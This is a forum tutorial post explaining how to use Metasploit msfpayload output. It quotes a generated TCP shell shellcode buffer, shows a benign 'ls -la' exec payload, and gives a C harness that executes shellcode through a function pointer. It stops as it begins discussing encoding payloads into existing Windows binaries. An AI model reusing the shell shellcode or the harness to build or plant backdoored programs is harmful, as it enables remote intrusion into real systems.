I hope this answers your question.
Hey bigmac
alright im going to try to do something of a tutorial on getting 'code' from the windows-binaries folder.
First thing im going to do is go into whats going on with msfpayload, how to use the output... and then well get into all that.
My initial thought was that it could be done, however ...to mush together the hex with user input would require more c than im willing to go into on this particular tutorial. that said, here we go...
alright the first thing is programing, if you want to take this further i would suggest learning a little bit of C and assembly. Im going to refer back to your post where u used an msfpayload option for a tcp shell and it gave you the output:
Quote:
unsigned char buf[] =
"\xba\x40\x5f\x2d\x18\xd9\xd0\xd9\x74\x24\xf4\x5e\ x2b\xc9\xb1"
"\x46\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\xb5\ xa3\xc5\x4e"
"\x35\x5c\x16\x3c\x60\x0a\x41\x49\xe6\x96\x75\xc6\ xb3\xea\x0e"
"\x8c\x3e\x6b\x10\xc7\xcb\xc1\x0a\x9c\x91\xf5\x2b\ x49\xc6\xc4"
"\x62\x06\x3c\xa2\x74\xf6\x0d\x4b\x8a\x37\xad\x1f\ x4b\xd8\x59"
"\x67\x6d\xd7\xac\x66\xaa\x03\x5c\x53\x48\xf0\xb4\ xd1\x51\x73"
"\xee\x3d\x93\x6f\x68\xb5\x9f\x24\xff\x93\x83\xbb\ x14\xa8\xb8"
"\x30\xeb\x47\x2b\x44\xda\x57\xf3\x17\x41\x03\xce\ xa0\x79\xed"
"\xa4\x80\x20\x75\xb2\xf8\x59\x2e\xc8\x71\x06\xcd\ x5b\x9e\x33"
"\xb6\x53\xf2\x2b\xc7\x2a\xfa\x47\x28\x64\x8b\x50\ x84\xe1\xd8"
"\x94\x84\x63\x1f\xfe\x5a\x6f\xe0\xff\x5c\x70\xb1\ xa8\x0a\x23"
"\xb8\xb3\x5b\xdc\xba\x3b\x9c\x73\xbb\x3b\x9c\xc5\ xa5\x23\x7b"
"\x8d\xcf\x23\x6a\x22\x16\x69\x0c\x62\xe0\x98\x60\ x5f\x1e\x9e"
"\x40\x37\xb2\x6c\xe8\x84\x06\x90\x4d\x66\x2d\x88\ x20\x87\x65"
"\x21\x1d\xfe\x49\xbc\xd7\x15\x24\xbb\x4e\x47\xeb\ x3c\x44\xe8"
"\xf4\x97\xa1\xaf\x83\x13\x24\xad\x66\x30\x1f\x66\ x78\x71\xa0"
"\xd3\xae\x4c\x9e\x8c\xfe\xfe\x4e\x6d\xaf\xbe\x3e\ x92\x1a\x1a"
"\x36\xab\xcd\xa2\xe0\x35\x08\x4a\xf3\x35\x14\xee\ x7a\xd4\x7e"
"\xfe\x2d\x40\x80\xab\xed\x04\x3e\x0d\xb8\x19\x58\ xb7\x12\x5b"
"\x43\xbf\xcc\x31\x8c\x40\xa5\xc9\x05\x7d\x2c\xd2\ x43\xd2\xe6"
"\x2d\x3e\xcc\xf7\x01\xcb";
Alright, thats nice looking but we have to do something with it. Or at least tell the computer too.
lets start with some smaller/simpler code.
so im gonna open a shell, cd over to framework3, and use ...
Quote:
# ./msfpayload linux/x86/exec CMD="ls -la" C
should return ...
Quote:
/*
* linux/x86/exec - 42 bytes
* it wont let me put the link
* AppendExit=false, CMD=ls -la, PrependSetresuid=false,
* PrependSetuid=false, PrependSetreuid=false
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\ x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\ x00\x00\x6c"
"\x73\x20\x2d\x6c\x61\x00\x57\x53\x89\xe1\xcd\x80" ;
alright lets do something with this...
make a text file and name it "first.c"
insert this into it.
Quote:
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\ x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\ x00\x00\x6c"
"\x73\x20\x2d\x6c\x61\x00\x57\x53\x89\xe1\xcd\x80" ;
int main(int argc, char **argv) {
int(*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}
Alright now compile it with...
Quote:
# gcc -o first first.c
then run
(or u could just use "first" ....its executable)
should give you a list equal to ls -la.
Alright that should give you a good indication of what to do with the code given by msfpayload.
You should be able to make your own mini C programs with the given example. (and for others, yes there are other ways to do it, such as def a pointer to it, but again, off the top o my head, thats what u get)
Now then, for the main part and to answer your question... you didn't really specify which program you wanted to do this with... encoding the ALREADY compiled data, in my mind, can be done. However, i see a problem. If the program accepts user input... there really isn't any way for it to collect said data (actually i would think that given an argv[1] or similar when ran in the C code should do it... but im not getting into that right now)
anyway...here we go.
And keep in mind im doing a trial run of everything as i type this.
Well i think im going to use an example for this that is short and to the point.
I think you will understand why at the end of this tut.